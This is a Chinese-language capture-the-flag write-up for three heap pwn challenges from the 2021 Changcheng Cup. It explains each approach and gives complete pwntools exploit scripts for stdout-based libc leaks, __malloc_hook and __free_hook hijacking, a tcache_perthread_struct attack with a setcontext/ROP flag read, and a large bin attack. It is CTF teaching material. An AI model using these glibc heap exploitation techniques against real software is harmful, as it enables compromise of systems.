2021_长城杯_pwn

  1. 1. K1ng_in_h3Ap_I
    1. 1.1. 题目分析
    2. 1.2. 思路
    3. 1.3. exp
  2. 2. K1ng_in_h3Ap_II
    1. 2.1. 题目分析
    2. 2.2. 思路
    3. 2.3. exp
  3. 3. hellopwn(企业组)
    1. 3.1. 题目分析
    2. 3.2. 思路
    3. 3.3. exp

中秋放假打了下长城杯,干了两pwn,战绩不错,后面复现了企业组的pwn3,写个博客记录下。

K1ng_in_h3Ap_I

题目附件

题目分析

菜单题目,没有show功能,漏洞还是挺多的,uaf和offbyone随便一个都够打,有leak3字节的地址就省去爆破倒数第四位的功夫了,打stdout来泄露地址,改malloc hook为one_gadget来拿shell。可以参考这位师傅的博客:https://bbs.pediy.com/thread-267632.htm

思路

通过风水布置堆块使得bin里的结构达到这个效果

此时可以利用题目给的偏移计算stdout地址,部分修改fd指针,将堆块申请到附近。

然后将缓冲区base地址指针改小就可以泄露指针范围的地址

改完以后是这个样子

然后就会输出该指针范围内的东西,最后面调用的就是_IO_new_do_write

得到地址就可以打malloc,然后用realloc调偏移

IO FILE系列的相关知识可以看看这位大佬的博客:https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./pwn'
main_arena = 0x3c4b20
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))

context.terminal = ['terminator','-x','sh','-c']
e=ELF(binary)
libc = ELF('libc.so.6')
#libc = e.libc
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]



local = 1
if local == 1:
io=process(binary)
else:
io=remote("47.104.175.110",20066)
elf = ELF('./pwn')
#libc = elf.libc
libc = ELF('./libc.so.6')
context(log_level='debug',os='linux',arch='amd64')


def choice(c):
ru(">>")
sl(str(c))

def add(index,size):
choice(1)
ru(":")
sl(str(index))
ru(":")
sl(str(size))

def free(index):
choice(2)
ru(":")
sl(str(index))

def edit(index,content):
choice(3)
ru(":")
sl(str(index))
ru(":")
sl(content)


choice(666)
ru('0x')
leak = int(r(6),16)
libc_base = leak - libc.sym['printf']
success(hex(libc_base))
add(0,0x28)
add(1,0xe8)
add(2,0x68)
free(1)
add(3,0x70)
add(4,0x60)
edit(0,'A'*0x28 + '\xf1')
free(1)
free(4)
add(3,0x70)

stdout = (libc_base + libc.sym['_IO_2_1_stdout_'] - 0x43)&0xffff
success(hex(stdout))
edit(4,p16(stdout))#stdout

add(5,0x68)
add(6,0x68)#stdout
gdb.attach(io)
edit(6,b'\x00' * 0x33 +p64(0xfbad1800) + p64(0)*3 + b'\x00')


libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stderr_'] - 192
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
target_addr = malloc_hook - 0x10 - 0x10 -3
one = one_gadget[1] + libc_base
free(5)
edit(5,p64(target_addr))
add(6,0x68)
add(7,0x68)
edit(7,'\x00'*11 + p64(one)+p64(realloc+8))
add(0,0x60)
#
shell()

K1ng_in_h3Ap_II

题目附件

题目分析

菜单题功能很全但是malloc的chunk限制了大小,free后指针没有清空,存在uaf漏洞。开了沙盒保护。

思路

确实思路挺简单的,通过攻击 tcache_perthread_struct可以看到它的结构挺简单的,一个字符数组(tcachebins的计数器)和一个指针数组(最近一次释放的堆指针),然后就是堆初始化的时候申请的第一个chunk就是它。

1
2
3
4
5
6
7
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//数组长度64,每个元素最大为0x7,仅占用一个字节(对应64个tcache链表)
tcache_entry *entries[TCACHE_MAX_BINS];//entries指针数组(对应64个tcache链表,cache bin中最大为0x400字节
//每一个指针指向的是对应tcache_entry结构体的地址。
} tcache_perthread_struct;

通过uaf将该chunk申请出来

然后将结构体里的counts数组都填充成\x07,也就是tcachebins存放chunk的最大范围,这样我们释放tcache_perthread_struct然,就可以得到地址了。

然后控制这个结构体就可以达到任意地址写。

然后劫持free hook为setcontext+53。

在释放的堆块里布置对应的寄存器。这样就可以通过rdi(也就是我们释放的堆块)来控制寄存器。然后就orw拿到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./pwn'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote('47.104.175.110',61608)
e=ELF(binary)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = elf.libc
#libc = ELF('./libc.so.6')
one_gadget = [0x4f3d5,0x4f432,0x10a41c]






def choice(c):
ru(">>")
sl(str(c))

def add(index,size):
choice(1)
ru(":")
sl(str(index))
ru(":")
sl(str(size))

def free(index):
choice(2)
ru(":")
sl(str(index))

def edit(index,content):
choice(3)
ru(":")
sl(str(index))
ru(":")
sl(content)
def show(index):
choice(4)
ru(":\n")
sl(str(index))


add(0,0x60)
add(2,0x50)
add(3,0x50)
add(4,0x50)
free(0)
show(0)

heap_addr = u64(io.recv(6)+b"\x00"*2) - 0xb50#0xc90
log.success("heap_addr==>" + hex(heap_addr))
edit(0,p64(heap_addr))

add(0,0x60)
add(1,0x60)#heap_addr

edit(1,b'\x07'*0x40)

free(1)

show(1)

libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - main_arena - 96
log.success("libc_base==>" + hex(libc_base))
setcontext = libc.sym['setcontext'] + libc_base +53
syscall = next(libc.search(asm("syscall\nret")))+libc_base
su('setcontext',setcontext)
fh = libc.sym['__free_hook'] + libc_base
edit(1,b'\x01'*0x40+p64(fh))

add(5,0x18)

edit(5,p64(setcontext))
gdb.attach(io)
frame = SigreturnFrame()
frame.rsp = (fh&0xfffffffffffff000)+8
frame.rax = 0
frame.rdi = 0
frame.rsi = fh&0xfffffffffffff000
frame.rdx = 0x2000
frame.rip = syscall

edit(2,bytes(frame)[0:0x50])
edit(3,bytes(frame)[0x60:0x60+0x50])
edit(4,bytes(frame)[0x60+0x60:])
free(2)
layout = [next(libc.search(asm('pop rdi\nret')))+libc_base
,fh&0xfffffffffffff000
,next(libc.search(asm('pop rsi\nret')))+libc_base
,0
,next(libc.search(asm('pop rdx\nret')))+libc_base
,0
,next(libc.search(asm('pop rax\nret')))+libc_base
,2
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,3
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,next(libc.search(asm('pop rdx\nret')))+libc_base
,0x30
,next(libc.search(asm('pop rax\nret')))+libc_base
,0
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,1
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,next(libc.search(asm('pop rdx\nret')))+libc_base
,0x30
,next(libc.search(asm('pop rax\nret')))+libc_base
,1
,syscall]
shellcode=b'./flag'.ljust(8,b'\x00')+flat(layout)
sl(shellcode)


shell()

~XLVXR5H9H6%5BQ%7DNON.png “”)

hellopwn(企业组)

题目附件

题目分析

题目情况大概就是这样了,没有打印功能,限制了编辑和释放堆块的次数,chunk的大小范围控制在了large bin范围内。在释放堆块的时候,指针未清空,存在uaf漏洞。

思路

先通过magic打stdout泄露地址,和之前的方法一样,把缓冲区base地址的指针改小就可以了,然后就是通过large bin attack来完成后续的操作,下面讲一下。参考师傅的博客:https://www.anquanke.com/post/id/222948?display=mobile

在glibc2.31版本里常规的large bin attack被封杀了,但是large bin attack还有另一个分支可以利用

可以看到在glibc2.32版本里加了一个链表完整性的检测,但是他封杀的只是其中一个分支,还有一个分支可以利用,可以达到任意地址写一个我们可控的堆块地址。

通过控制large bin里的bk_nextsize来达到任意地址读写,再申请比unsorted bin还大的chunk来触发漏洞(unsorted bin里chunk的size要小于large bin里的size)

大概堆块布局的这样的

通过uaf控制large bin里的chunk,改写large bin里的chunk的bk_nextsize,来达到任意地址写一个堆块地址。

再申请一个大堆块触发漏洞

我们来看一下tcache部分的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
if (!checked_request2size (bytes, &tbytes))
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif

然后我们的目的就是将覆写mp_.tcache_bins的值为一个很大的地址,使得large bin大小范围的chunk被释放也会放到tcache bin里,后面就简单了,因为申请tcache bin的chunk不会检测size是否合法,所以我们就可以利用uaf达到任意地址写的效果。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './pwn'
main_arena = 0x1beb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
libc = elf.libc
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def choice(index):
ru("Your choice :")
sl(str(index))

def magic(index,content):
choice(666)
ru("Index :")
sl(str(index))
ru("Content: ")
s(content)

def add(size,content=b'a'):
choice(1)
ru("Size : ")
sl(str(size))
ru("Content:")
sl(content)

def edit(index,content):
choice(2)
ru("Index :")
sl(str(index))
ru("Content: ")
sl(content)

def free(index):
choice(3)
ru("Index :")
sl(str(index))


magic(-19,p64(0)+p64(9))

add(0x460)#0
add(0x450)#1
add(0x450)#2
free(0)
add(0x600)#3 put chunk0 to large bin
free(2)

magic(-16,p64(0xfbad1800)+p64(0)*3+b'\x00')

libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdin_']
su('libc_base',libc_base)
system_addr = libc_base + libc.sym['system']
fh = libc.sym['__free_hook']+libc_base
bin_sh_addr = next(libc.search(b'/bin/sh\0'))+libc_base
tcache_bins = libc_base + 1827536#libc.sym['mp_']+88


edit(0,p64(0)*3+p64(tcache_bins-0x20))

add(0x600,b'large bin attack')#4
gdb.attach(io)
free(1)
#tcache_bins
free(2)
#tcache_bins
edit(2,p64(fh))
add(0x450,b'/bin/sh\0')#5
add(0x450,p64(system_addr))#6 free hook
free(5)
shell()